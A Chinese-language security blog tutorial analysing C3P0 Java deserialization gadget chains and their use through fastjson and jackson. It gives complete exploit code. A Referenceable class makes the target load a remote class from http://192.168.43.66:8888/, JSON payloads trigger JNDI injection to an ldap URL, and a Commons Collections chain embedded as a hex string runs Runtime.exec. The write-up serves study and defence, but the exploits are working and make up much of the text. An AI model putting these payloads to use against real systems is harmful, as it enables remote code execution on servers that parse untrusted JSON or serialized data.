Java反序列化之C3P0
C3P0简介
C3P0是一个JDBC连接池,实现了数据源与JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。
分析
C3P0这条链子的起点是com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase
,先来了解一下该类
PoolBackedDataSourceBase
PoolBackedDataSourceBase
也是一个封装对象,其中储存了PropertyChangeSupport
和VetoableChangeSupport
对象,用于支持监听器的功能。
该类在序列化和反序列化的时候,都会保存内部的ConnectionPoolDataSource
变量,如果变量是不可序列化的对象,就会使用ReferenceIndirector
对其进行引用的封装,返回一个可以序列化的IndirectlySerialized
对象。
流程
从代码可以看出
- 序列化
跟进ReferenceIndirector#indirectForm
在该方法中会调用ConnectionPoolDataSource
变量的getReference
方法返回Reference
对象,然后使用ReferenceSerialized
对返回的对象进行封装。
- 反序列化
反序列化时会调用IndirectlySerialized
的getObject
方法,获取其中封装的ConnectionPoolDataSource
对象。序列化时使用的是ReferenceSerialized
封装对象,所以这里调用的是ReferenceSerialized#getObject
在contextName
不为空时会调用InitialContext#lookup
尝试使用JNDI获取对象,当contextName
为空时,则会调用ReferenceableUtils#referenceToObject
可以看到使用URLClassLoader
加载类并且实例化,那么就可以想办法使其加载远程恶意类实现RCE。
EXP构造
构造该利用链exp比较关键的一点就是要自定义一个不可序列化且实现了Referenceable
的类,然后将其实例化对象赋值给PoolBackedDataSourceBase
的ConnectionPoolDataSource
属性。这个自定义类的getReference
方法要返回一个恶意的Reference
对象,例子如下
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.PrintWriter;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class testConnectionPD implements Referenceable, ConnectionPoolDataSource {
@Override
public Reference getReference() throws NamingException {
return new Reference("calc","calc","http://192.168.43.66:8888/");
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
}
@Override
public int getLoginTimeout() throws SQLException {
return 0;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
然后是利用链的exp
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.Reference;
import javax.sql.ConnectionPoolDataSource;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
public class exp {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException {
ConnectionPoolDataSource cpd=new testConnectionPD();
Constructor constructor=Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase").getDeclaredConstructor();
constructor.setAccessible(true);
PoolBackedDataSourceBase pbds= (PoolBackedDataSourceBase) constructor.newInstance();
Field connectionPoolDataSource=pbds.getClass().getDeclaredField("connectionPoolDataSource");
connectionPoolDataSource.setAccessible(true);
connectionPoolDataSource.set(pbds,cpd);
ByteArrayOutputStream ser = new ByteArrayOutputStream();
ObjectOutputStream oser = new ObjectOutputStream(ser);
oser.writeObject(pbds);
oser.close();
System.out.println(ser);
ObjectInputStream unser=new ObjectInputStream(new ByteArrayInputStream(ser.toByteArray()));
Object newobj=unser.readObject();
}
}
C3P0在fastjson/jackson中的利用
除了上面那条gadget,还有大佬分享了通过调用setter
实现JNDI注入和Hex字节码加载的方法,这也使得C3P0在fastjson和jackson中可以发挥新的作用
JNDI注入
先看POC
jackson
{"object":["com.mchange.v2.c3p0.JndiRefForwardingDataSource",{"jndiName":"ldap://192.168.43.66:8888/calc", "loginTimeout":0}]}
fastjson
{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName":"ldap://192.168.43.66:8888/calc", "loginTimeout":0}
可以看到,在POC中对两个属性进行了赋值,jndiName
和loginTimeout
。既然说了是通过setter
去实现JNDI注入,就直接看到setter
setJndiName
没什么好说的,继续看setLoginTimeout
调用了inner
方法,跟进
这里的this.cachedInner
为null
,调用到dereference
方法
可以看到在箭头指向处调用了lookup
方法,且参数就是我们的jndiName
,也就实现了JNDI注入,复现一下
Hex序列化字节码加载(不出网利用)
先看POC
jackson
{"object":["com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",{"userOverridesAsString":"HexAsciiSerializedMap:"+ poc + ";"}]}
fastjson
{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:"+poc+";"}
这里用到的是com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
,只设置了userOverridesAsString
一个属性,直接看到其setter
当设置的userOverridesAsString
与原来的值不同时,就会触发fireVetoableChange
事件,最后也就会调用到setUpPropertyListeners
方法重新封装一个监听器,跟进该方法
这里传入的propName
为userOverridesAsString
,就直接看这部分,调用了C3P0ImplUtils#parseUserOverridesAsString
对val
进行处理,这里的val
就是我们设置的userOverridesAsString
的值
然后取出字符串中HexAsciiSerializedMap?
之后且不包含最后一位的部分,通过fromHexAscii
方法转化为字节数组,又调用SerializableUtils#fromByteArray
处理转换后的字节数组,跟进
跟进deserializeFromByteArray
方法
直接就是一个原生反序列化,所以如果本地有可利用的gadget的话,就可以实现fastjson反序列化->原生反序列化->RCE
这样一个攻击流程。这也可以实现fastjson的不出网利用
在本地测试一下,先导入cc的依赖,然后构造一下POC
import com.alibaba.fastjson.JSON;
import com.mchange.lang.ByteUtils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.beans.PropertyVetoException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class c3p0Hex {
public static void main(String[] args) throws PropertyVetoException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
Map old = new HashMap();
Transformer[] x = new Transformer[]{
ConstantTransformer.getInstance(Runtime.class),
InvokerTransformer.getInstance("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
InvokerTransformer.getInstance("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
InvokerTransformer.getInstance("exec", new Class[]{String.class}, new String[]{"calc"})
};
Transformer[] fakeTransformers=new Transformer[]{new ConstantTransformer(1)};
Transformer chain= new ChainedTransformer(fakeTransformers);
Map newmap = LazyMap.decorate(old,chain);
TiedMapEntry entry=new TiedMapEntry(newmap,"novic4");
Map ht=new HashMap();
ht.put(entry,"novic4");
newmap.remove("novic4");
Field trans=ChainedTransformer.class.getDeclaredField("iTransformers");
trans.setAccessible(true);
trans.set(chain,x);
ByteArrayOutputStream ser = new ByteArrayOutputStream();
ObjectOutputStream oser = new ObjectOutputStream(ser);
oser.writeObject(ht);
oser.close();
String poc= ByteUtils.toHexAscii(ser.toByteArray());
String json="{\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\"userOverridesAsString\":\"HexAsciiSerializedMap:"+poc+";\"}";
JSON.parseObject(json);
}
}
要注意的是,在分析流程的时候说过序列化字节数组是通过fromHexAscii
方法转换过去的,所以这里用了toHexAscii
方法将序列化字节数组转为符合要求的hex字符串。
参考文章
http://redteam.today/2020/04/18/c3p0%E7%9A%84%E4%B8%89%E4%B8%AAgadget/
https://su18.org/post/ysoserial-su18-5/#c3p0